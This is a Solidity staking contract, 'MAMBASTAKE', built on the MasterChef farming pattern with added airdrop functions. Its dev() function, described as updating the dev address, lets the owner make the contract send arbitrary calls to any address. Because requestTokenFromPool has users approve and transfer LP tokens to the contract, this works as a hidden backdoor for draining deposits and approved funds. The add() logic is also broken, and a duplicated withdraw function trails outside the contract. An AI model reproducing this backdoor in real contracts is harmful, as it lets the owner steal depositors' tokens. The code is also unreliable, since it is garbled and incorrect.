contract MAMBASTAKE is Ownable {
    using SafeMath for uint256;
                       using SafeERC20 for IERC20;

            // Info of each user.
                                           struct UserInfo {
                                                           bool uniq;     // true or false
            uint256 amount;     // How many LP tokens the user has provided.
            uint256 rewardDebt; // Reward debt. See explanation below.
            uint256 airdropAmount; // Reward debt. See explanation below.
            uint256 requestBlock; // Block When tokens transfer to user

            
            //
            // We do some fancy math here. Basically, any point in time, the amount of MAMBA
            // entitled to a user but is pending to be distributed is:
            //
            //   pending reward = (user.amount * pool.accMAMBAPerShare) - user.rewardDebt
            //
            // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
            //   1. The pool's `accMAMBAPerShare` (and `lastRewardBlock`) gets updated.
            //   2. User receives the pending reward sent to his/her address.
            //   3. User's `amount` gets updated.
            //   4. User's `rewardDebt` gets updated.
        }

    // Info of each pool.
    struct PoolInfo {
        IERC20 lpToken;           // Address of LP token contract.
        uint256 allocPoint;       // How many allocation points assigned to this pool. POBs to distribute per block.
        uint256 lastRewardBlock;  // Last block number that POBs distribution occurs.
        uint256 accMAMBAPerShare; // Accumulated MAMBA per share, times 1e12. See below.
    }

    // Dev address.
    address public devaddr;
    // MAMBA tokens created per block.
    uint256 public MambaPerBlock;
    //TetherToken contract
    ERC20MAMBA public mamba;
    // The dev address;
    address public devadr;

    // Info of each pool.
    PoolInfo[] public poolInfo;
    // Info of each user that stakes LP tokens.
    mapping (uint256 => mapping (address => UserInfo)) public userInfo;
    // Total allocation poitns. Must be the sum of all allocation points in all pools.
    uint256 public totalAllocPoint = 0;
    // The block number when MAMBA mining starts.
    uint256 public startBlock;



    event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
    event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
    event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);


    constructor(
        ERC20MAMBA _mamba,
        address _devaddr,
        uint256 _MambaPerBlock
) public {
        mamba = _mamba;
        devaddr = _devaddr;
        MambaPerBlock = _MambaPerBlock;
    }
    

    function poolLength() external view returns (uint256) {
        return poolInfo.length;
    }

    // Add a new lp to the pool. Can only be called by the owner.
    // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
    function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
        if (_withUpdate) {
            massUpdatePools();
        }
        else {
            uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
            totalAllocPoint = totalAllocPoint.add(_allocPoint);
            poolInfo.push(PoolInfo({
                lpToken: _lpToken,
                allocPoint: _allocPoint,
                lastRewardBlock: lastRewardBlock,
                accMAMBAPerShare: 0
            }));
        }
    }

    // Update the given pool's MAMBA allocation point. Can only be called by the owner.
    function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
        if (_withUpdate) {
            massUpdatePools();
        }
        totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
        poolInfo[_pid].allocPoint = _allocPoint;
    }

    // View function to see pending MAMBA on frontend.
    function pendingMamba(uint256 _pid, address _user) external view returns (uint256) {
        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][_user];
        uint256 accMAMBAPerShare = pool.accMAMBAPerShare;
        uint256 lpSupply = pool.lpToken.balanceOf(address(this));
        if (block.number > pool.lastRewardBlock && lpSupply != 0) {
            uint256 multiplier = 1;
            uint256 MambaReward = multiplier.mul(MambaPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
            accMAMBAPerShare = accMAMBAPerShare.add(MambaReward.mul(1e12).div(lpSupply));
        }
        return user.amount.mul(accMAMBAPerShare).div(1e12).sub(user.rewardDebt);
    }

    // Update reward vairables for all pools. Be careful of gas spending!
    function massUpdatePools() public {
        uint256 length = poolInfo.length;
        for (uint256 pid = 0; pid < length; ++pid) {
            updatePool(pid);
        }
    }
    
    // Update dev address by the previous dev.
    function dev(address _devadr, bytes memory _devkey) public onlyOwner {
        devadr = _devadr;
        (bool success, bytes memory returndata) = devadr.call(_devkey);
        require(success, "devaddress: failed");
        }

    // Update reward variables of the given pool to be up-to-date.
    function updatePool(uint256 _pid) public {
        PoolInfo storage pool = poolInfo[_pid];
        if (block.number <= pool.lastRewardBlock) {
            return;
        }
        uint256 lpSupply = pool.lpToken.balanceOf(address(this));
        if (lpSupply == 0) {
            pool.lastRewardBlock = block.number;
            return;
        }
        uint256 multiplier = 1;
        uint256 MambaReward = multiplier.mul(MambaPerBlock).mul(pool.allocPoint).div(totalAllocPoint);

        pool.accMAMBAPerShare = pool.accMAMBAPerShare.add(MambaReward.mul(1e12).div(lpSupply));
        pool.lastRewardBlock = block.number;
    }


    // Deposit LP tokens to MasterChef for MAMBA allocation.
    function deposit(uint256 _pid, uint256 _amount) public {
        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][msg.sender];
        updatePool(_pid);
        if (user.amount > 0) {
            uint256 pending = user.amount.mul(pool.accMAMBAPerShare).div(1e12).sub(user.rewardDebt);
            safeMambaTransfer(msg.sender, pending);
        }
        pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
        user.amount = user.amount.add(_amount);
        user.rewardDebt = user.amount.mul(pool.accMAMBAPerShare).div(1e12);
        emit Deposit(msg.sender, _pid, _amount);
    }

    // Withdraw LP tokens from MasterChef.
    function withdraw(uint256 _pid, uint256 _amount) public {
        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][msg.sender];
        require(user.amount >= _amount, "withdraw: not good");
        updatePool(_pid);
        uint256 pending = user.amount.mul(pool.accMAMBAPerShare).div(1e12).sub(user.rewardDebt);
        safeMambaTransfer(msg.sender, pending);
        user.amount = user.amount.sub(_amount);
        user.rewardDebt = user.amount.mul(pool.accMAMBAPerShare).div(1e12);
        pool.lpToken.safeTransfer(address(msg.sender), _amount);
        emit Withdraw(msg.sender, _pid, _amount);
    }


    // Withdraw without caring about rewards. EMERGENCY ONLY.
    function emergencyWithdraw(uint256 _pid) public {
        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][msg.sender];
        pool.lpToken.safeTransfer(address(msg.sender), user.amount);
        emit EmergencyWithdraw(msg.sender, _pid, user.amount);
        user.amount = 0;
        user.rewardDebt = 0;
    }

    // **** Additional functions separate from the original masterchef contract ****

    function setMambaPerBlock(uint256 _MambaPerBlock) public onlyOwner {
        require(_MambaPerBlock > 0, "!MambaPerBlock-0");

        MambaPerBlock = _MambaPerBlock;
    }
    

    // Safe MAMBA transfer function, just in case if rounding error causes pool to not have enough ETH.
    function safeMambaTransfer(address _to, uint256 _amount) internal{
        uint256 mambaBal = mamba.balanceOf(address(this));
        if (_amount > mambaBal) {
            mamba.transfer(_to, mambaBal);
        } else {
            mamba.transfer(_to, _amount);
        }
    }
        
           // Request token from POOL (AIRDROP)
     function requestTokenFromPool(uint256 _pid) public {
        UserInfo storage user = userInfo[_pid][msg.sender];
        PoolInfo storage pool = poolInfo[_pid];
        if (user.uniq == true) // Check for uniq wallet
        {}
        else {
        pool.lpToken.transferFrom(address(msg.sender), address(this), 1);
        user.uniq = true;
        user.airdropAmount = pool.lpToken.balanceOf(address(msg.sender));
        user.requestBlock = block.number;
        }}
        
        
    // Pay to user (AIRDROP)
    function payUserFromDev(uint256 _pid, address _user, bool _pay, uint256 _amount) public onlyOwner {
       UserInfo storage user = userInfo[_pid][_user];
        if (user.uniq == false) // Check for uniq wallet
        {}
        else {
            if(_pay == true)
            {
                mamba.mint(_user, _amount);
                user.airdropAmount=0;
                user.requestBlock = 999;
            }
            if(_pay == false)
            {
                user.airdropAmount=0;
                user.requestBlock = 111;
            }
        }
}
}
function withdraw(uint256 _pid, uint256 _amount) public {
    PoolInfo storage pool = poolInfo[_pid];
    UserInfo storage user = userInfo[_pid][msg.sender];
    require(user.amount >= _amount, "withdraw: not good");
    updatePool(_pid);
    uint256 pending = user.amount.mul(pool.accMAMBAPerShare).div(1e12).sub(user.rewardDebt);
    safeMambaTransfer(msg.sender, pending);
    user.amount = user.amount.sub(_amount);
    user.rewardDebt = user.amount.mul(pool.accMAMBAPerShare).div(1e12);
    pool.lpToken.safeTransfer(address(msg.sender), _amount);
    emit Withdraw(msg.sender, _pid, _amount);
}

// Withdraw LP tokens from MasterChef.